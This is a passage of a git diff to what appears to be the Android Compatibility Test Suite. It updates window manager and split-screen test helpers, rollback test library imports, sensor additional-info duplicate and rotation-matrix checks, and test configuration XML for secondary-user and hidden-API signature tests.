         final boolean shouldBeVisible =
                 !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
         mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index a1c522c..839371f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -108,6 +108,8 @@
 
     private void startActivityAndVerifyResult(final ComponentName entryActivity,
             final ComponentName actualActivity, boolean shouldStart) {
+        mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
         // Pass in different data only when cold starting. This is to make the intent
         // different in subsequent warm/hot launches, so that the entrypoint alias
         // activity is always started, but the actual activity is not started again
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e128f47..d6489a8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -410,6 +410,9 @@
     /**
      * Test that device orientation is restored when an activity that requests it is no longer
      * visible.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testAppOrientationRequestConfigClears() {
@@ -515,6 +518,9 @@
 
     /**
      * Test that device handles moving between two tasks with different orientations.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testTaskCloseRestoreFreeOrientation() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 4830da0..4eae8f1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_ENSURE_CONTRAST;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_LIGHT_BARS;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.backgroundForBar;
@@ -26,6 +27,7 @@
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -121,6 +123,10 @@
     }
 
     public void runTestDontEnsureContrast(boolean lightBars) {
+        assumeFalse(
+                "Skipping test: automotive may not have transparent background for the status bar",
+                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                        FEATURE_AUTOMOTIVE));
         TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 4531584..2dfd254 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -512,7 +512,11 @@
 
     @Test
     public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        if (!mIsHomeRecentsComponent) {
+            launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
+        } else {
+            launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        }
         mAmWmState.computeState(TEST_ACTIVITY);
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index 2ec92bb..ba63060 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -168,7 +168,7 @@
                 insets.getMandatorySystemGestureInsets(),
                 insetsLessThanOrEqualTo(insets.getSystemGestureInsets()));
 
-        Insets stableAndSystem = Insets.max(insets.getSystemWindowInsets(),
+        Insets stableAndSystem = Insets.min(insets.getSystemWindowInsets(),
                 insets.getStableInsets());
         assertThat("mandatory system gesture insets must include intersection between "
                         + "stable and system window insets",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 908dc09..64e34fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -208,7 +208,6 @@
         // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
         moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
             true/* showSideActivity */);
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch second activity
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 1f35533..f7337e9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -659,7 +659,9 @@
      * Moves the device into split-screen with the specified task into the primary stack.
      * @param taskId             The id of the task to move into the primary stack.
      * @param showSideActivity   Whether to show the Recents activity (or a placeholder activity in
-     *                           place of the Recents activity if home is the recents component)
+     *                           place of the Recents activity if home is the recents component).
+     *                           If {@code true} it will also wait for activity in the primary
+     *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
         final boolean isHomeRecentsComponent = mAmWmState.getAmState().isHomeRecentsComponent();
@@ -670,11 +672,29 @@
                     null /* initialBounds */, showSideActivity && !isHomeRecentsComponent);
             mAmWmState.waitForRecentsActivityVisible();
 
-            if (isHomeRecentsComponent && showSideActivity) {
-                // Launch Placeholder Side Activity
-                final Activity sideActivity = mSideActivityRule.launchActivity(
-                        new Intent());
-                mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+            if (showSideActivity) {
+                if (isHomeRecentsComponent) {
+                    // Launch Placeholder Side Activity
+                    final Activity sideActivity = mSideActivityRule.launchActivity(
+                            new Intent());
+                    mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+                }
+
+                // There are two cases when showSideActivity == true:
+                // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
+                // screen won't enter minimized dock, but the activity on primary split screen
+                // should be relaunched.
+                // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
+                // split screen, the activity on primary split screen should enter then leave
+                // minimized dock.
+                // In both cases, we shall wait for the state of the activity on primary split
+                // screen to resumed, so the LifecycleLog won't affect the following tests.
+                mAmWmState.waitForWithAmState(state -> {
+                    final ActivityManagerState.ActivityStack stack =
+                            state.getStandardStackByWindowingMode(
+                                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+                    return stack != null && stack.getResumedActivity() != null;
+                }, "activity in the primary split-screen stack must be resumed");
             }
         });
     }
@@ -1086,6 +1106,9 @@
         }
 
         LockScreenSession unlockDevice() {
+            // Make sure the unlock button event is send to the default display.
+            tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+
             pressUnlockButton();
             return this;
         }
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 9fc608e..d17adbd 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/user.home" />
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 94bcc6f..73759b0 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="mocking" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index f3c8dad..95db765 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="component" value="mocking" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index ab18927..0c83c25 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="mocking" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index fc7ed48..de946b3 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -243,14 +243,15 @@
         perms.add(ACCESS_COARSE_LOCATION);
         perms.add(ACCESS_BACKGROUND_LOCATION);
         perms.add(ACCESS_MEDIA_LOCATION);
-        testImageCaptureWithoutLocation(perms);
+        testImageCaptureWithoutLocation(perms, MediaStore.ACTION_IMAGE_CAPTURE);
+        testImageCaptureWithoutLocation(perms, MediaStore.ACTION_IMAGE_CAPTURE_SECURE);
     }
      /**
      * Helper function to verify that whoever handles {@link MediaStore#ACTION_IMAGE_CAPTURE} can
      * correctly write the contents into a passed {@code content://} Uri, without location
      * information, necessarily, when ACCESS_FINE_LOCATION permissions aren't given.
      */
-    private void testImageCaptureWithoutLocation(Set<String> locationPermissions)
+    private void testImageCaptureWithoutLocation(Set<String> locationPermissions, String intentStr)
             throws Exception {
         assertFalse("testImageCaptureWithoutLocation should not be passed ACCESS_FINE_LOCATION",
                 locationPermissions.contains(ACCESS_FINE_LOCATION));
@@ -267,7 +268,7 @@
         targetDir.mkdirs();
         assertFalse(target.exists());
 
-        final Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
+        final Intent intent = new Intent(intentStr);
         intent.putExtra(MediaStore.EXTRA_OUTPUT,
                 FileProvider.getUriForFile(mContext, "android.providerui.cts.fileprovider", target));
 
diff --git a/tests/rollback/Android.bp b/tests/rollback/Android.bp
index 080a2d5..3b3e617 100644
--- a/tests/rollback/Android.bp
+++ b/tests/rollback/Android.bp
@@ -15,7 +15,7 @@
 android_test {
     name: "CtsRollbackManagerTestCases",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-rollback-lib"],
+    static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
     test_suites: ["general-tests"],
     sdk_version: "test_current",
 }
diff --git a/tests/rollback/AndroidManifest.xml b/tests/rollback/AndroidManifest.xml
index 5de7f87..3203f25 100644
--- a/tests/rollback/AndroidManifest.xml
+++ b/tests/rollback/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="com.android.cts.rollback" >
 
     <application>
-        <receiver android:name="com.android.cts.rollback.lib.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
similarity index 70%
rename from tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java
rename to tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
index f7ab15de..2df3912 100644
--- a/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -25,10 +25,12 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.cts.rollback.lib.Install;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
 import com.android.cts.rollback.lib.Rollback;
-import com.android.cts.rollback.lib.TestApp;
-import com.android.cts.rollback.lib.Utils;
+import com.android.cts.rollback.lib.RollbackUtils;
 
 import org.junit.After;
 import org.junit.Before;
@@ -56,7 +58,7 @@
                     Manifest.permission.DELETE_PACKAGES,
                     Manifest.permission.TEST_MANAGE_ROLLBACKS);
 
-        Utils.uninstall(TestApp.A);
+        Uninstall.packages(TestApp.A);
     }
 
     /**
@@ -64,7 +66,7 @@
      */
     @After
     public void teardown() throws InterruptedException, IOException {
-        Utils.uninstall(TestApp.A);
+        Uninstall.packages(TestApp.A);
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
@@ -76,23 +78,24 @@
     @Test
     public void testBasic() throws Exception {
         Install.single(TestApp.A1).commit();
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertThat(Utils.getAvailableRollback(TestApp.A)).isNull();
-        assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(RollbackUtils.getAvailableRollback(TestApp.A)).isNull();
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
 
         Install.single(TestApp.A2).setEnableRollback().commit();
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.A);
-        assertThat(available).isNotNull();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
         assertThat(available).isNotStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.A2).to(TestApp.A1));
-        assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
 
-        Utils.rollback(available.getRollbackId(), TestApp.A2);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertThat(Utils.getAvailableRollback(TestApp.A)).isNull();
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackUtils.waitForUnavailableRollback(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isNotNull();
         assertThat(committed).hasRollbackId(available.getRollbackId());
         assertThat(committed).isNotStaged();
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index c457ac4..df86fa6 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -25,6 +25,7 @@
 import android.util.Log;
 import android.content.pm.PackageManager;
 
+import java.lang.Math;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -37,6 +38,7 @@
     private static final String TAG = "SensorAdditionalInfoTest";
     private static final int ALLOWED_ADDITIONAL_INFO_DELIVER_SEC = 3;
     private static final int REST_PERIOD_BEFORE_TEST_SEC = 3;
+    private static final double EPSILON = 1E-6;
 
     private SensorManager mSensorManager;
 
@@ -100,11 +102,47 @@
             assertTrue("Missing additional info at registration: (" + verifier.getState() + ")",
                     verifier.verify());
 
+            assertFalse("Duplicate TYPE_FRAME_BEGIN at: (" +
+                    verifier.getState() + ")", verifier.beginFrameDuplicate());
+
+            if (verifier.internalTemperature()) {
+                assertFalse("Duplicate TYPE_INTERNAL_TEMPERATURE at: (" +
+                        verifier.getState() + ")", verifier.internalTemperatureDuplicate());
+            }
+
+            if (verifier.sampling()) {
+                assertFalse("Duplicate TYPE_SAMPLING_TEMPERATURE at: (" +
+                        verifier.getState() + ")", verifier.samplingDuplicate());
+            }
+
             // verify TYPE_SENSOR_PLACEMENT for Automotive.
             if (getContext().getPackageManager().
-                hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-                    assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
+                    hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+                assertTrue("Missing TYPE_SENSOR_PLACEMENT at: (" + verifier.getState() + ")",
                         verifier.sensorPlacement());
+
+            }
+            if(verifier.sensorPlacement()) {
+                assertFalse("Duplicate TYPE_SENSOR_PLACEMENT at: (" +
+                        verifier.getState() + ")", verifier.sensorPlacementDuplicate());
+
+                assertTrue("Incorrect size of TYPE_SENSOR_PLACEMENT at: (" +
+                        verifier.getState() + ")", verifier.sensorPlacementSizeValid());
+
+                if (verifier.sensorPlacementSizeValid()) {
+                    assertTrue("Incorrect rotation matrix of TYPE_SENSOR_PLACEMENT at: (" +
+                            verifier.getState() + ")", verifier.sensorPlacementRotationValid());
+                }
+            }
+
+            if (verifier.untrackedDelay()) {
+                assertFalse("Duplicate TYPE_UNTRACKED_DELAY at: (" +
+                        verifier.getState() + ")", verifier.untrackedDelayDuplicate());
+            }
+
+            if (verifier.vec3Calibration()) {
+                assertFalse("Duplicate TYPE_VEC3_CALIBRATION at: (" +
+                        verifier.getState() + ")", verifier.vec3CalibrationDuplicate());
             }
 
             verifier.reset(true /*flushPending*/);
@@ -127,9 +165,21 @@
 
     private class AdditionalInfoVerifier extends SensorEventCallback {
         private boolean mBeginFrame = false;
+        private boolean mBeginFrameDuplicate = false;
         private boolean mEndFrame = false;
         private boolean mFlushPending = false;
+        private boolean mInternalTemperature = false;
+        private boolean mInternalTemperatureDuplicate = false;
+        private boolean mSampling = false;
+        private boolean mSamplingDuplicate = false;
         private boolean mSensorPlacement = false;
+        private boolean mSensorPlacementDuplicate = false;
+        private boolean mIsSensorPlacementSizeValid = false;
+        private boolean mIsSensorPlacementRotationValid = false;
+        private boolean mUntrackedDelay = false;
+        private boolean mUntrackedDelayDuplicate = false;
+        private boolean mVec3Calibration = false;
+        private boolean mVec3CalibrationDuplicate = false;
         private CountDownLatch mDone;
         private final Sensor mSensor;
 
@@ -148,9 +198,43 @@
         public void onSensorAdditionalInfo(SensorAdditionalInfo info) {
             if (info.sensor == mSensor && !mFlushPending) {
                 if (info.type == SensorAdditionalInfo.TYPE_FRAME_BEGIN) {
+                    if (mBeginFrame) {
+                        mBeginFrameDuplicate = true;
+                        return;
+                    }
                     mBeginFrame = true;
+                } else if (mBeginFrame &&
+                            info.type == SensorAdditionalInfo.TYPE_INTERNAL_TEMPERATURE) {
+                    if (mInternalTemperature) {
+                        mInternalTemperatureDuplicate = true;
+                        return;
+                    }
+                    mInternalTemperature = true;
+                } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SAMPLING) {
+                    if (mSampling) {
+                        mSamplingDuplicate = true;
+                        return;
+                    }
+                    mSampling = true;
                 } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_SENSOR_PLACEMENT) {
+                    if (mSensorPlacement) {
+                        mSensorPlacementDuplicate = true;
+                        return;
+                    }
                     mSensorPlacement = true;
+                    verifySensorPlacementData(info.floatValues);
+                } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_UNTRACKED_DELAY) {
+                    if (mUntrackedDelay) {
+                        mUntrackedDelayDuplicate = true;
+                        return;
+                    }
+                    mUntrackedDelay = true;
+                } else if (mBeginFrame && info.type == SensorAdditionalInfo.TYPE_VEC3_CALIBRATION) {
+                    if (mVec3Calibration) {
+                        mVec3CalibrationDuplicate = true;
+                        return;
+                    }
+                    mVec3Calibration = true;
                 } else if (info.type == SensorAdditionalInfo.TYPE_FRAME_END && mBeginFrame) {
                     mEndFrame = true;
                     mDone.countDown();
@@ -180,8 +264,62 @@
             return "fp=" + mFlushPending +", b=" + mBeginFrame + ", e=" + mEndFrame;
         }
 
+        // Checks sensor placement data length and determinant of rotation matrix is 1.
+        private void verifySensorPlacementData(float[] m) {
+            if(m.length != 12) {
+                mIsSensorPlacementSizeValid = false;
+                return;
+            }
+            mIsSensorPlacementSizeValid = true;
+            double determinant = m[0] * (m[5] * m[10] - m[6] * m[9] ) -
+                                 m[1] * (m[4] * m[10] - m[6] * m[8] ) +
+                                 m[2] * (m[4] * m[9]  - m[5] * m[8] );
+            mIsSensorPlacementRotationValid = (Math.abs(determinant - 1) < EPSILON);
+        }
+
+        public boolean beginFrameDuplicate() {
+            return mBeginFrameDuplicate;
+        }
+
+        public boolean internalTemperature() {
+            return mInternalTemperature;
+        }
+        public boolean internalTemperatureDuplicate() {
+            return mInternalTemperatureDuplicate;
+        }
+
+        public boolean sampling() {
+            return mSampling;
+        }
+        public boolean samplingDuplicate() {
+            return mSamplingDuplicate;
+        }
+
         public boolean sensorPlacement() {
             return mSensorPlacement;
         }
+        public boolean sensorPlacementDuplicate() {
+            return mSensorPlacementDuplicate;
+        }
+        public boolean sensorPlacementSizeValid() {
+            return mIsSensorPlacementSizeValid;
+        }
+        public boolean sensorPlacementRotationValid() {
+            return mIsSensorPlacementRotationValid;
+        }
+
+        public boolean untrackedDelay() {
+            return mUntrackedDelay;
+        }
+        public boolean untrackedDelayDuplicate() {
+            return mUntrackedDelayDuplicate;
+        }
+
+        public boolean vec3Calibration() {
+            return mVec3Calibration;
+        }
+        public boolean vec3CalibrationDuplicate() {
+            return mVec3CalibrationDuplicate;
+        }
     }
 }
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index d0756b9..bbf942e 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestBaseCurrentApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index d168b2d..05eb998 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
+        <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
index 6285971..7b4cb30 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
+        <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index 3fb352d..1762979 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
+        <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index 9c49d41..04383b4 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
+        <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml
index 1eec2b8..302ed6f 100644
--- a/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-test-api/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.test.HiddenApiTest" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
+        <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 70db574..63f324d 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,4 +30,8 @@
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm32 and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
 </configuration>
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index 40968ec..e9c79f8 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="device" />
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index bb96b9a..405f5b2 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -333,21 +333,6 @@
     }
 
     /**
-     * Test the case where the API declares the method not synchronized, but it
-     * actually is.
